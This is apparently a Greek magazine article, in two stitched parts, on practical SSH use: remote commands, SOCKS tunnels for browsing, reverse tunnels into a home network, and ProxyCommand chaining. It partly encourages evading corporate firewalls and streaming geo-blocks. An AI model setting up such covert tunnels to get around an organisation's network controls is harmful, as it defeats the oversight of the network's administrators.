Υπάρχει μια κατηγορία προγραμμάτων που εμφανίζουν χαρακτήρες σε “αυθαίρετες” θέσεις της οθόνης και όχι υποχρεωτικά σε διαδοχικές. Τέτοια προγράμματα είναι όσα σχεδιάζουν στην κονσόλα ένα περιβάλλον χαρακτήρων ή έστω μερικά στοιχεία ενός περιβάλλοντος, όπως, π.χ., είναι οι μπάρες προόδου, οι μπάρες κύλισης κ.ο.κ. Μερικά γνωστά προγράμματα της κατηγορίας είναι το top, το wget, το screen και όλοι οι text editors. Αρκετά από αυτά τα εργαλεία είναι αδύνατο να εκτελεστούν με τον τρόπο που δείξαμε παραπάνω, ενώ κάποια άλλα εκτελούνται, αλλά το περιβάλλον τους εμφανίζεται “σπασμένο”. Για παράδειγμα, αν ο χρήστης spiral εκτελέσει το ακόλουθο:


ssh delta top


θα δει ένα μήνυμα λάθους και η εκτέλεση του top θα αποτύχει. Αντίθετα, αν δώσει κάτι τέτοιο:


ssh delta wget www.some-server.org/some-file.tar.bz


ο server του deltahacker θα αρχίσει να κατεβάζει κανονικά το αρχείο some-file.tar.bz, όμως η μπάρα προόδου του wget θα φαίνεται να μη λειτουργεί.

Για να μπορούν να σχηματίζουν το περιβάλλον τους και να λειτουργούν κανονικά, τα προγράμματα της κατηγορίας που περιγράφουμε πρέπει να εκτελούνται μέσα σε κάποιο τερματικό — πραγματικό (tty) ή εικονικό (pty). Οι συνδέσεις SSH, όταν μεταφερόμαστε στη γραμμή εντολών του απομακρυσμένου συστήματος, δημιουργούν ένα εικονικό τερματικό. Αν εκτελέσουμε το πρόγραμμα who, θα πληροφορηθούμε ότι βρισκόμαστε μέσα σε κάποιο pts (pseudo terminal slave: αποτελεί τμήμα/εξάρτημα ενός εικονικού τερματικού pty, διαβάστε περισσότερα πληκτρολογώντας man pty). Ωστόσο, όταν χρησιμοποιούμε το ssh για την εκτέλεση ενός προγράμματος *χωρίς* να μεταφερθούμε στη γραμμή εντολών του απομακρυσμένου συστήματος, δεν δημιουργείται κανενός είδους τερματικό. Όπως υποψιάζεστε, για να μπορούμε να εκτελούμε οποιοδήποτε πρόγραμμα με το ssh και χωρίς να αντιμετωπίζουμε προβλήματα, αρκεί να επιβάλλουμε τη δημιουργία ενός εικονικού τερματικού. Κάτι τέτοιο γίνεται με τη χρήση της παραμέτρου –t. Αν ο χρήστης spiral πληκτρολογήσει


ssh –t delta top


Το πρόγραμμα top θα εκτελεστεί κανονικά. Παρεμπιπτόντως, η δημιουργία τερματικού θα μπορούσε να αυτοματοποιηθεί, με την κατάλληλη επέκταση στον ορισμό του SSH alias:


Host delta
HostName deltahacker.gr
Port 45123
User pvar
RequestTTY yes






Μια ακόμα ενδιαφέρουσα λεπτομέρεια σχετίζεται με τους τελεστές ανακατεύθυνσης. Ας υποθέσουμε ότι ο χρήστης spiral θέλει να αντιγράψει τις ρυθμίσεις του SSH server σε ένα αρχείο για λόγους backup. Έστω ότι εκτελεί το εξής:


ssh delta cat /etc/ssh/sshd_config > ~/.ssh/server-config


Μπορείτε να φανταστείτε τι θα συμβεί; Οι ρυθμίσεις του SSH server του *απομακρυσμένου* συστήματος θα αποθηκευτούν στο αρχείο ~/.ssh/server-config του *τοπικού* συστήματος. Ο τελεστής ανακατεύθυνσης θα πάρει οτιδήποτε “έρχεται” από τα αριστερά του (ssh delta cat…) και θα το ρίξει στο αρχείο ~/.ssh/server-config. Αν το καλοσκεφτείτε, αυτή η συμπεριφορά είναι απόλυτα λογική και σε ορισμένες περιπτώσεις θα μπορούσε να είναι και επιθυμητή. Σκεφτείτε όμως το ενδεχόμενο να υπήρχε ήδη το αρχείο ~/.ssh/server-config στο τοπικό σύστημα. Σε αυτή την περίπτωση, ο spiral θα κατέστρεφε το τοπικό backup και μάλιστα χωρίς να το αντιληφθεί. Για να εκτελεστούν τα πάντα στο απομακρυσμένο σύστημα, ο spiral θα έπρεπε να περικλείσει την “εντολή” σε εισαγωγικά:


ssh delta "cat /etc/ssh/sshd_config > ~/.ssh/server-config"


Με αυτόν τον τρόπο, τόσο η εκτέλεση του cat όσο και η δημιουργία του αρχείου εξαιτίας του τελεστή ανακατεύθυνσης, θα πραγματοποιηθούν στον server του deltahacker. Όπως βλέπετε, όταν συνδυάζουμε τους τελεστές ανακατεύθυνσης με το ssh, πρέπει να επιλέγουμε προσεκτικά το αν θα χρησιμοποιήσουμε εισαγωγικά ή όχι. Περιττό να πούμε ότι την ίδια προσοχή πρέπει να επιδεικνύουμε και στην περίπτωση που χρησιμοποιούμε τον τελεστή διασωλήνωσης (|) ή το χαρακτήρα διαχωρισμού εντολών (;). Χωρίς εισαγωγικά, το τμήμα της “εντολής” που βρίσκεται μετά τον ειδικό χαρακτήρα, εκτελείται τοπικά.



Ασφαλής περιήγηση
Όπως υποσχεθήκαμε, αυτή τη φορά δεν θα ασχοληθούμε με την ασφάλεια των συνδέσεων SSH. Αντίθετα, ξεκινώντας από αυτή θα μάθουμε να την εκμεταλλευόμαστε για την προστασία του web browsing! Αν πιστεύετε ότι μια τέτοια κίνηση θα αποτελούσε υπερβολή, σας συνιστούμε να το ξανασκεφτείτε. Φανταστείτε την περίπτωση κατά την οποία έχετε συνδεθεί με το laptop σε κάποιο πιθανά επικίνδυνο δίκτυο WiFi και θέλετε να διατηρήσετε ασφαλή τα δεδομένα που στέλνετε και λαμβάνετε από τον browser. Μήπως θεωρείτε ότι τα δίκτυα WiFi στα οποία συνδέεστε δεν κρύβουν κανέναν κίνδυνο; Αν και στο περιοδικό έχουμε παρουσιάσει πολλά θέματα που δείχνουν το ακριβώς αντίθετο, αν επιμένετε ξεχάστε τα περί ασφάλειας ή όχι των ασύρματων συνδέσεως και φανταστείτε το ακόλουθο σενάριο. Υποθέστε ότι βρισκόσαστε πίσω από ένα εξαιρετικά αυστηρό firewall, το οποίο απαγορεύει την πρόσβαση σε ορισμένες ιστοσελίδες. Μην τρέχει ο νους σας στο κινεζικό Great Firewall, αφού ένα αυστηρό firewall θα μπορούσε να βρίσκεται και στο εταιρικό δίκτυο κάποιου Δημόσιου Οργανισμού ή της δουλειάς σας. Νομίζουμε ότι σε μία τέτοια περίπτωση θα επιθυμούσατε διακαώς (έστω κι από πείσμα) να ξεπεράσετε τους περιορισμούς του firewall. Αν εξακολουθείτε να πιστεύετε ότι γινόμαστε παρανοϊκοί, σκεφτείτε την απλούστερη περίπτωση όπου θέλετε να συνδεθείτε σε μια υπηρεσία streaming σαν αυτή του Netflix ή του LastFM. Ως γνωστόν, τέτοιες υπηρεσίες προσφέρονται μόνο για τους κατοίκους των ΗΠΑ και ορισμένων χωρών της Ευρώπης. Ε, λοιπόν, αξιοποιώντας μια σύνδεση SSH, μπορούμε να ξεγελάσουμε οποιαδήποτε υπηρεσία του είδους και να εμφανιστούμε ως βέροι Νεοϋορκέζοι, γνήσιοι Ισλανδοί ή δεν ξέρω κι εγώ τι άλλο.

Το OpenSSH, η υλοποίηση του SSH που χρησιμοποιούμε πρακτικά όλοι, έχει τη δυνατότητα να δημιουργεί ένα ιδιαίτερο είδος συνδέσεων, που ονομάζονται SSH tunnels. Αυτές οι συνδέσεις είναι πλήρως κρυπτογραφημένες –όπως άλλωστε όλες οι συνδέσεις SSH–, ενώ παρέχουν και μια πρόσθετη δυνατότητα: Λειτουργούν ως σήραγγες, μέσα από τις οποίες μπορούν να διοχετευτούν άλλες συνδέσεις, οποιουδήποτε πρωτοκόλλου. Για να πετύχουμε όσα περιγράψαμε παραπάνω, αρκεί να διοχετεύσουμε τις συνδέσεις που δημιουργεί ο browser μέσα από ένα SSH tunnel. Μη νομίζετε ότι κάτι τέτοιο απαιτεί πολλά και περίπλοκα βήματα. Πρόκειται για μία από τις σπάνιες περιπτώσεις, που η υλοποίηση είναι εξίσου απλή με την περιγραφή :) Αρκεί να δώσουμε κάτι τέτοιο:


ssh -fNTD 1234 username@some-server.org


Με την εκτέλεση του παραπάνω θα δημιουργηθεί μια “σήραγγα SSH”, που θα έχει ως είσοδο τη θύρα 1234 του τοπικού συστήματος και σαν έξοδο το μηχάνημα some-server.org. Αν εξαιρέσουμε το γεγονός ότι η έξοδος του tunnel χαρακτηρίζεται ως Dynamic και δεν είναι προσαρτημένη σε κάποια συγκεκριμένη θύρα, η όλη λειτουργία του tunnel θυμίζει το port forwarding των router. Με τις παραμέτρους που δώσαμε στο ssh, η σύνδεσή μας θα μεταφερθεί αυτόματα στο υπόβαθρο και δεν θα δεσμεύσει την κονσόλα (παράμετρος –f), ούτε θα δημιουργήσει κάποιο εικονικό τερματικό (παράμετρος –T). Η προώθηση των συνδέσεων (forwarding) πραγματοποιείται με την παράμετρο –D, ενώ η παράμετρος –N εξασφαλίζει ότι δεν θα εκτελεστεί καμία εντολή στο απομακρυσμένο σύστημα.

Έχοντας έτοιμο το SSH tunnel, απομένει η κατάλληλη ρύθμιση του browser. Στην περίπτωση του Firefox, αρκεί να επισκεφθούμε τις ρυθμίσεις, να μεταβούμε στην ενότητα Advanced και από εκεί στην καρτέλα Network. Στην ενότητα Connection του παραθύρου που εμφανίζεται, θα πατήσουμε το κουμπί Settings. Με αυτόν τον τρόπο βρίσκουμε τις ρυθμίσεις που αφορούν στη χρήση κάποιου proxy server. Εκεί επιλέγουμε το Manual Proxy configuration και τσεκάρουμε τις επιλογές SOCKS v5 και Remote DNS. Φυσικά, πριν πατήσουμε στο OK πρέπει να συμπληρώσουμε και τα κατάλληλα πεδία, δίπλα στην ετικέτα SOCKS host. Από εκεί προσδιορίζουμε το σημείο εισόδου του tunnel που δημιουργήσαμε προηγουμένως (διεύθυνση localhost και θύρα 1234).



Στην περίπτωση του Chrome, η σχετική ρύθμιση επιτυγχάνεται με τη βοήθεια παραμέτρων που πρέπει να δώσουμε κατά την εκκίνηση του browser. Για την ακρίβεια, πρέπει να τον ξεκινήσουμε κάπως έτσι:


google-chrome --proxy-server="socks5://localhost:1234" --host-resolver-rules="MAP * 0.0.0.0, EXCLUDE localhost"&


Αφού ξεμπερδέψουμε με τις ρυθμίσεις του browser, οι περιπλανήσεις μας στο web θα είναι πλήρως κρυπτογραφημένες και προφυλαγμένες από τα αδιάκριτα μάτια κάθε περίεργου (προσοχή: η προστασία αφορά *μόνο* στις συνδέσεις που δημιουργεί ο browser). Επιπρόσθετα, ακόμα κι αν βρισκόμαστε πίσω από κάποιο εξαιρετικά αυστηρό Firewall, θα μπορούμε να συνδεόμαστε οπουδήποτε. Για την ακρίβεια, θα μπορούμε να συνδεθούμε οπουδήποτε μπορεί να συνδεθεί το μηχάνημα που αποτελεί την έξοδο του tunnel. To αυστηρό firewall που έχουμε μπροστά μας θα βλέπει μόνο μια εξερχόμενη σύνδεση SSH και τίποτα άλλο. Τέλος, για το υπόλοιπο Internet, οι συνδέσεις μας θα μοιάζουν να προέρχονται από τον τόπο κατοικίας του some-server.org (η έξοδος του tunnel). Αυτό σημαίνει ότι αν ο συγκεκριμένος server βρίσκεται στην Αμερική, θα μπορούμε να συνδεθούμε και στο Netflix και στην υπηρεσία streaming του LastFM (εκτός κι αν η IP του server είναι σε κάποια blacklist — αλλά δεν χρειάζεται να είμαστε απαισιόδοξοι).





Πριν προχωρήσουμε, αξίζει να σταθούμε σε μια ενδιαφέρουσα λεπτομέρεια. Περιγράφοντας τη ρύθμιση του Firefox, αναφέραμε ότι πρέπει να ενεργοποιήσουμε την επιλογή Remote DNS. Με αυτόν τον τρόπο εξασφαλίζουμε την προώθηση των αιτημάτων DNS (από πλευράς browser) μέσα από το SSH tunnel και κατ’ επέκταση την κρυπτογράφησή τους. Αναρωτιέστε γιατί μας ενδιαφέρει κάτι τέτοιο; Η αλήθεια είναι ότι η συγκεκριμένη ρύθμιση έχει σημασία μόνον όταν βρισκόμαστε σε άγνωστα και πιθανώς εχθρικά –ή έστω αυστηρά– τοπικά δίκτυα. Αν δεν προφυλάσσουμε τα αιτήματα DNS, οποιοσδήποτε παρακολουθεί το τοπικό δίκτυο θα μαθαίνει αμέσως με ποιους servers μιλάμε. Μπορεί να μη βλέπει τα δεδομένα που στέλνουμε και λαμβάνουμε –αυτά κρυπτογραφούνται από το SSH tunnel–, αλλά θα ξέρει που πηγαίνουμε και με ποιους μιλάμε. Επιπρόσθετα, θα είναι ενδεχομένως σε θέση να πραγματοποιήσει επιθέσεις DNS και να μας παραπέμψει ύπουλα σε δικούς τους, κακόβουλους servers. Σημειώστε ότι ο Chrome δεν διαθέτει κάποια ρύθμιση, αντίστοιχη με αυτή του Firefox. Ωστόσο, φροντίζει για την αυτόματη προώθηση των αιτημάτων DNS μέσα από το ίδιο “κανάλι” που ταξιδεύουν και τα αιτήματα HTTP. Αν δεν είσαστε σίγουροι για τη συμπεριφορά τους δικού σας browser ή αν απλά θέλετε να ελέγξετε τις ρυθμίσεις σας, αρκεί να παρακολουθήσετε τις συνδέσεις που εξέρχονται από το SSH tunnel. Για παράδειγμα, αν θέλετε να τσεκάρετε ότι όντως προωθούνται τα αιτήματα DNS, μπορείτε να αναζητήσετε συνδέσεις που έχουν στον προορισμό τους τη θύρα 53 (πρόκειται για τη θύρα που χρησιμοποιείται εξ ορισμού από τους DNS servers) του απομακρυσμένου SSH server. Κάτι τέτοιο μπορεί να γίνει ως εξής:


ssh username@some-server.org tcpdump -i eth0 port 53




Το αντίστροφο πρόβλημα
Με το τέχνασμα που εξετάσαμε μπορούμε να αποδράσουμε από ένα περιοριστικό firewall — ή να ξεγλιστρήσουμε από την παρακολούθηση και τις παγίδες κάποιου κακόβουλου χρήστη ή μανιακού διαχειριστή. Σε κάθε περίπτωση, με τη βοήθεια ενός SSH tunnel μπορούμε να *εξέλθουμε* από ένα τοπικό δίκτυο, με ευκολία και ασφάλεια. Τι γίνεται όμως όταν θέλουμε να *εισέλθουμε* σε κάποιο τοπικό δίκτυο; Μη νομίζετε ότι το ρίξαμε ξαφνικά στις επιθέσεις. Μιλάμε για τη σύνδεση σε κάποιο οικείο τοπικό δίκτυο, που για διάφορους τεχνικούς λόγους μπορεί να είναι από δύσκολη έως αδύνατη. Ας υποθέσουμε ότι θέλουμε να συνδεθούμε σε έναν υπολογιστή του οικιακού μας δικτύου, ενώ βρισκόμαστε κάπου έξω. Η πραγματοποίηση αυτής της σύνδεσης είναι αρκετά μπελαλίδικη: Πρέπει να έχουμε ανοίξει κάποιο port στο firewall του οικιακού μας router και να έχουμε πραγματοποιήσει το κατάλληλο port forwarding, προς το μηχάνημα που μας ενδιαφέρει. Επιπρόσθετα, πρέπει να γνωρίζουμε και την τρέχουσα διεύθυνση IP που έχει αντιστοιχιστεί στην οικιακή μας σύνδεση. Το πρόβλημα με αυτή τη λύση δεν είναι μόνο ότι απαιτεί πολλές ρυθμίσεις. Θα τη χαρακτηρίζαμε άκαμπτη, ενώ σε ορισμένες περιπτώσεις είναι και εντελώς άχρηστη, αφού δεν μπορούμε να την εφαρμόσουμε. Για παράδειγμα, σκεφτείτε την περίπτωση που θέλουμε να συνδεθούμε σε κάποιο μηχάνημα της δουλειάς ή της σχολής, από το σπίτι. Κανένας λογικός διαχειριστής δεν θα δεχτεί να αλλάξει τις ρυθμίσεις του firewall της δουλειάς ή της σχολής, μόνο και μόνο για τη δική μας διευκόλυνση. (Εκτός κι αν ο διαχειριστής είμαστε εμείς. Πάντως ακόμη και τότε υπάρχουν πολλοί λόγοι για να μη σκαλίσουμε το firewall.)

Όπως υποψιάζεστε, οι συνδέσεις SSH μπορούν και πάλι να δώσουν τη λύση. Αυτή τη φορά θέλουμε να μπούμε και όχι να βγούμε από κάποιο τοπικό δίκτυο. Επομένως, χρειαζόμαστε το ακριβώς αντίθετο των SSH tunnel: ένα reverse SSH tunnel. Αυτές οι συνδέσεις συμπεριφέρονται και πάλι ως σήραγγες, μόνο που επιτρέπουν την πραγματοποίηση συνδέσεων με την αντίθετη φορά. Με άλλα λόγια, η είσοδός τους βρίσκεται στο απομακρυσμένο σύστημα και η έξοδος στο τοπικό. Για να λύσουμε το πρόβλημα που περιγράψαμε αρχικά, αρκεί να δημιουργήσουμε ένα reverse SSH tunnel από το μηχάνημα του σπιτιού προς κάποιο VPS. Αργότερα, όταν θελήσουμε να συνδεθούμε στο μηχάνημα του σπιτιού, αρκεί να συνδεθούμε στον VPS και να αξιοποιήσουμε το “αντεστραμμένο τούνελ”. Φυσικά, στη θέση του VPS θα μπορούσε να είναι οποιοδήποτε άλλο μηχάνημα είναι εύκολα προσβάσιμο από το Internet. Για παράδειγμα, κάποιος server του δικτύου της δουλειάς ή της σχολής. Το στήσιμο ενός reverse SSH tunnel είναι πανεύκολη υπόθεση. Συνεχίζοντας το προηγούμενο σενάριο, αρκεί να ανοίξουμε τη γραμμή εντολών του οικιακού μηχανήματος και να δώσουμε κάτι τέτοιο:


ssh -fNTR 2222:localhost:22 username@some-server.org


Με αυτόν τον τρόπο δημιουργείται ένα αντεστραμμένο τούνελ, που έχει σαν είσοδο τη θύρα 2222 του μηχανήματος some-server.org και σαν έξοδο τη θύρα 22 του τοπικού συστήματος. Όπως είδαμε και νωρίτερα, οι παράμετροι –f, -T και –N εξασφαλίζουν ότι η συγκεκριμένη σύνδεση θα τοποθετηθεί στο background, δεν θα δημιουργήσει τερματικό και δεν θα εκτελέσει εντολές στο απομακρυσμένο μηχάνημα. Η δημιουργία του reverse SSH tunnel εξασφαλίζεται από την παράμετρο –R. Εφόσον ετοιμάσουμε το τούνελ, δεν χρειάζεται να κάνουμε κάτι άλλο. Όταν θελήσουμε να συνδεθούμε στον υπολογιστή του οικιακού δικτύου από κάπου αλλού, αρκεί να συνδεθούμε στο μηχάνημα some-server.org και να δώσουμε κάτι τέτοιο:


ssh localhost -p 2222


Με την παραπάνω γραμμή επιχειρούμε μια σύνδεση SSΗ προς τη θύρα 2222 του τοπικού συστήματος, που στη συγκεκριμένη περίπτωση είναι ο some-server.org. Ωστόσο, εξαιτίας του reverse SSH tunnel που δημιουργήσαμε νωρίτερα, η συγκεκριμένη σύνδεση θα προωθηθεί στη θύρα 22 του μηχανήματος στο σπίτι.








Ελπίζουμε όλες αυτές οι περιγραφές των συνδέσεων, των αντιστρόφων και των ευθειών, να μην σας προκάλεσαν πονοκέφαλο. Όπως και να ‘χει, μην ξεχνάτε ότι ο υπέρτατος κανόνας της μάθησης ισχύει κι εδώ: Για να αφομοιώσετε όσα παρουσιάσαμε, μαζί με τη θεωρητική μελέτη θα χρειαστεί και η πρακτική εξάσκηση. Αν δεν έχετε το απαιτούμενο πλήθος μηχανημάτων, σας προτείνουμε να δημιουργήσετε μερικά εικονικά συστήματα και να αρχίσετε τις δοκιμές από σήμερα. Σε σχετικό άρθρο του επόμενου τεύχους θα παρουσιάσουμε μερικά πιο προχωρημένα κολπάκιακαι θα πρέπει να είσαστε έτοιμοι. 

via: https://deltahacker.gr

Η φιλική πλευρά του SSH [2]

$
0
0



Νομίζετε ότι στο προηγούμενο μέρος εξαντλήσαμε όλες τις ευκολίες που παρέχει το SSH; Πιστεύετε ότι αυτό το πανίσχυρο εργαλείο δεν έχει τίποτε άλλο να μας προσφέρει; Μα, αν ίσχυε κάτι τέτοιο, το άρθρο που έχετε μπροστά σας δεν θα υπήρχε ;)

Στο άρθροτου προηγούμενου τεύχουςεστιάσαμε σε ορισμένες λεπτομέρειες, που όταν τις γνωρίζει κανείς μπορεί να χειρίζεται τις συνδέσεις SSH με μεγαλύτερη άνεση. Επιπρόσθετα, εξετάσαμε μερικά σενάρια στα οποία η χρήση του SSH ενδέχεται ν’ αποδειχθεί πολύτιμη. Σε αυτό το άρθρο θα εξερευνήσουμε τις πιο προχωρημένες δυνατότητες του SSH, μελετώντας ένα ακόμα πιο περίπλοκο σενάριο. Για το τέλος θα αφήσουμε μερικές ακόμα ρυθμίσεις, που αναδεικνύουν την ευχρηστία και τη φιλικότητα αυτού του πανίσχυρου εργαλείου. Όμως ας αφήσουμε τις σάλτσες κι ας προχωρήσουμε ευθύς αμέσως στη μελέτη.

Φανταστείτε ένα σύνολο μηχανημάτων που βρίσκονται στο ίδιο τοπικό δίκτυο και βγαίνουν στο Internet μέσω ενός συγκεκριμένου μηχανήματος, που έχει το ρόλο router/gateway. Αυτή η τοπολογία δεν είναι καθόλου σπάνια κι ένα τέτοιο δίκτυο θα μπορούσε να βρίσκεται στο χώρο της δουλειάς, σε μια σχολή, σε κάποιο hacker space ή ακόμη και στο σπίτι μας. Αν υποθέσουμε ότι έχουμε πρόσβαση SSH σε όλα τα μηχανήματα του τοπικού δικτύου, πόσο εύκολο πιστεύετε ότι είναι να συνδεθούμε σε κάποιο από αυτά, ενώ είμαστε εκτός τοπικού δικτύου; Το συγκεκριμένο ερώτημα μοιάζει με εκείνο που απαντήσαμε στο τέλος του προηγούμενου άρθρου. Αυτή τη φορά όμως θα εξετάσουμε μια εντελώς διαφορετική λύση.

Προκειμένου να συνδεθούμε σε κάποιο μηχάνημα όταν είμαστε εκτός τοπικού δικτύου, λοιπόν, ένας τρόπος είναι να ακολουθήσουμε μια σχεδόν αυτονόητη διαδικασία δύο, τουλάχιστον, απλών βημάτων: α) να συνδεθούμε στη γραμμή εντολών του router και β) από εκεί να συνδεθούμε στο επιθυμητό μηχάνημα του τοπικού δικτύου. Αναρωτιέστε γιατί είπαμε ότι χρειάζονται τουλάχιστον δύο βήματα, τη στιγμή που θα μπορούσαν να υπάρχουν στον router μερικοί κανόνες port forwarding; Διότι αν το μηχάνημα στο οποίο θέλουμε να συνδεθούμε ανήκει σε κάποιο υποδίκτυο του τοπικού δικτύου, θα χρειαστεί να πραγματοποιήσουμε ένα πρόσθετο βήμα. Θα πρέπει να κάνουμε μια ενδιάμεση σύνδεση, προς το μηχάνημα που λειτουργεί ως gateway για το υποδίκτυο. Όπως αντιλαμβάνεστε, όσο αυξάνεται η πολυπλοκότητα του τοπικού δικτύου και το “βάθος” στο οποίο θέλουμε να φτάσουμε, αυξάνεται και το πλήθος των απαιτούμενων (ενδιάμεσων) συνδέσεων. Δεν χρειάζεται όμως να σκεφτόμαστε τόσο περίπλοκα σενάρια. Ακόμα και στην απλή περίπτωση των δύο βημάτων, είναι φανερό ότι η διαδικασία σύνδεσης θα καταντήσει εύκολα πολύ κουραστική. Ε, λοιπόν, το SSH μπορεί να απλοποιήσει μια τέτοια σύνδεση, απαλλάσσοντάς μας από την επανάληψη των ενδιάμεσων βημάτων *όσα* κι αν είναι αυτά. Κατά τα γνωστά, αρκεί να επέμβουμε στο αρχείο ρυθμίσεων (~/.ssh/config) και να προσθέσουμε λίγες γραμμές. Αν πιστεύετε ότι μας χτύπησε η καλοκαιρινή τεμπελιά και αναζητάμε μεθόδους για να πληκτρολογούμε λιγότερο, συνεχίστε να διαβάζετε και θα αλλάξετε γνώμη. Εκτός από άνεση και ταχύτητα, η τεχνική που θα περιγράψουμε προσφέρει και αυξημένη ασφάλεια.

Αλυσιδωτή διασύνδεση
Ας υποθέσουμε ότι θέλουμε να συνδεθούμε σ’ ένα μηχάνημα, που βρίσκεται στο τοπικό δίκτυο ενός εργαστηρίου της σχολής και έχει σαν hostname το lab-workstation3. Ας υποθέσουμε επίσης ότι το τοπικό δίκτυο του εν λόγω εργαστηρίου βγαίνει στον έξω κόσμο μέσω ενός server, στη δημόσια διεύθυνση του οποίου έχει αντιστοιχηθεί το informatics-lab.gr. Για να καταλήξουμε στη γραμμή εντολών του lab-workstation3, θα έπρεπε να συνδεθούμε πρώτα στον server του εργαστηρίου:


ssh informatics-lab.gr


Στη συνέχεια, από τη γραμμή εντολών του συγκεκριμένου μηχανήματος θα έπρεπε να δώσουμε:


ssh lab-workstation3


Φυσικά, για αυτές τις δύο συνδέσεις ενδέχεται να απαιτούνται διαφορετικά usernames, ενώ και οι SSH servers ενδέχεται ν’ ακούνε από διαφορετικές δικτυακές θύρες. Με άλλα λόγια, η διαδικασία σύνδεσης μπορεί να μην είναι τόσο απλή. Εξάλλου, ακόμη κι αν χρησιμοποιείται παντού η καθιερωμένη θύρα (port 22/TCP) κι έχουμε το ίδιο username σε όλα τα μηχανήματα (λέμε, τώρα), θα πρέπει να θυμόμαστε τα αντίστοιχα συνθηματικά. Πώς είπατε; Μπορούμε να χρησιμοποιήσουμε τη μέθοδο με το δημόσιο και το ιδιωτικό κλειδί; Αυτό θα μπορούσαμε να το κάνουμε για τη σύνδεση στο gateway, αλλά όχι και για τη σύνδεση στο μηχάνημα του τοπικού δικτύου. Για τη δεύτερη σύνδεση, βλέπετε, θα έπρεπε να αποθηκεύσουμε το ιδιωτικό μας κλειδί στον server της σχολής. Περιττό να πούμε ότι κάτι τέτοιο θα συνιστούσε τεράστιο σφάλμα! Όπως έχουμε ξαναπεί, τα ιδιωτικά κλειδιά πρέπει να φυλάσσονται πάντα με μεγάλη προσοχή και να μην κυκλοφορούν από εδώ κι από ‘κεί, για *κανένα* λόγο.



Ευτυχώς υπάρχει μια ασφαλέστερη λύση, που προσφέρει και μεγαλύτερη ευκολία. Αναφερόμαστε σε μια τεχνική που είναι γνωστή κι ως SSH chaining. Για την εφαρμογή της, αρκεί να ανοίξουμε το αρχείο ρυθμίσεων του SSH στον υπολογιστή μας (~/.ssh/config) και να προσθέσουμε τις ακόλουθες γραμμές:


Host lab-srv
HostName informatics-lab.gr
Port 34522
User pvar

Host lab-pc
ProxyCommand ssh -q lab-srv -W lab-workstation3:22
User spiral


Υποψιάζεστε τι πετυχαίνουμε με τα παραπάνω; Αρχικά δημιουργούμε ένα SSH alias, για την εύκολη σύνδεση στον server του εργαστηρίου της σχολής. Στη συνέχεια δημιουργούμε ένα ακόμα SSH alias, για τη σύνδεση στο μηχάνημα lab-workstation3. Το ενδιαφέρον εντοπίζεται στο δεύτερο alias, όπου αξιοποιούμε την επιλογή ProxyCommand. Με αυτή τη ρύθμιση ζητάμε από το SSH να μην πραγματοποιήσει τη σύνδεση αμέσως, αλλά αφού προηγουμένως εκτελέσει μια εντολή που καθορίζουμε εμείς. Όπως βλέπετε, η εντολή που επιλέξαμε είναι η ακόλουθη:


ssh -q lab-srv -W lab-workstation3:22


Με την εκτέλεση του παραπάνω πραγματοποιείται μια σύνδεση προς τον server της σχολής, μέσω της οποίας προωθούνται όλες οι επακόλουθες συνδέσεις στο μηχάνημα lab-workstation3. Τελικά, όταν χρησιμοποιούμε το δεύτερο SSH alias πραγματοποιείται αυτόματα μια βοηθητική σύνδεση προς τον server του εργαστηρίου, μέσω της οποίας προωθούμαστε στο μηχάνημα lab-workstation3. Έτσι, η σύνδεση SSH που επιχειρούμε μεταβιβάζεται αυτομάτως στο επιθυμητό μηχάνημα και χωρίς να χρειαστεί από μέρους μας κάποια πρόσθετη ενέργεια. Μετά από την προσθήκη των παραπάνω στο αρχείο ρυθμίσεων του SSH, η σύνδεσή μας στο μηχάνημα του εργαστηρίου θα μπορεί να επιτευχθεί με μία κίνηση:


ssh lab-pc


Αυτός ο τρόπος σύνδεσης είναι σαφέστατα πιο απλός και πιο γρήγορος. Όμως γιατί ισχυριστήκαμε ότι προσφέρει και περισσότερη ασφάλεια; Με τις ρυθμίσεις που παρουσιάσαμε, το σύστημά μας συνδέεται απευθείας στο μηχάνημα lab-workstation3. Μπορεί να μεσολαβεί μια βοηθητική σύνδεση, αλλά ο SSH client που τρέχει στο μηχάνημά μας, όπως και ο SSH server που εκτελείται στην άλλη άκρη, δεν το γνωρίζουν. Αυτό που πρέπει να κρατήσουμε εδώ είναι ότι η πιστοποίηση του χρήστη (authentication) πραγματοποιείται απευθείας ανάμεσα στα δύο συστήματα (το δικό μας και του εργαστηρίου). Επομένως, αρκεί να κατασκευάσουμε ένα ζεύγος κλειδιών και να εγκαταστήσουμε το δημόσιο στον server της σχολής καθώς και στο lab-workstation3. Το ιδιωτικό κλειδί θα βρίσκεται *μόνο* στο δικό μας μηχάνημα και η σύνδεση στα προαναφερθέντα συστήματα θα πραγματοποιείται κανονικότατα και με τη μέγιστη ασφάλεια.

Σημεία προσοχής
Στις ρυθμίσεις που παρουσιάσαμε προηγουμένως συνδυάσαμε τη λειτουργία ProxyCommand με μια άλλη λειτουργία του SSH, που ενεργοποιείται με την παράμετρο –W. Η σχετική γραμμή είχε ως εξής:


ProxyCommand ssh -q lab-srv -W lab-workstation3:22


Η παράμετρος –W εξασφαλίζει την προώθηση των επακόλουθων συνδέσεων και, στη συγκεκριμένη περίπτωση, το σημείο προορισμού είναι η θύρα 22 του συστήματος lab-workstation3. Αυτό βέβαια το είπαμε και προηγουμένως. Κάτι που δεν αναφέραμε είναι ότι η παράμετρος –W δεν διατίθεται στις παλιές εκδόσεις του OpenSSH, πριν από την 5.4. Επομένως, αν για κάποιο (απαράδεκτο) λόγο τα μηχανήματα διαθέτουν παλιές εκδόσεις του OpenSSH, η λύση που παρουσιάσαμε δεν θα λειτουργήσει. Στην περίπτωση που δεν είναι στο χέρι μας η αναβάθμισή τους, μπορούμε να πετύχουμε την προώθηση των επακόλουθων συνδέσεων με τη βοήθεια του netcat. Έτσι, η γραμμή με το ProxyCommand θα γίνει κάπως έτσι:


ProxyCommand ssh -q lab-srv nc –q0 lab-workstation3 22


Σημειώστε ότι η δικτυακή θύρα διακρίνεται πλέον με ένα χαρακτήρα κενού και όχι με την άνω-κάτω τελεία (colon). Παρεμπιπτόντως, η δικτυακή θύρα από την οποία ακούει ο SSH server του lab-workstation3 πρέπει να προσδιοριστεί ακριβώς εκεί όπου συμβαίνει η προώθηση και όχι σε ξεχωριστή γραμμή των ρυθμίσεων. Αν η προώθηση δεν γίνει σωστά, τότε όσες άλλες ρυθμίσεις κι αν συμπεριλάβουμε θα είναι περιττές. Για να μη σας κουράζουμε με άλλες περιγραφές, σκεφτείτε ότι αυτό θα δουλέψει κανονικά:


...
Host lab-pc
ProxyCommand ssh -q lab-srv -W lab-workstation3:32128
User spiral


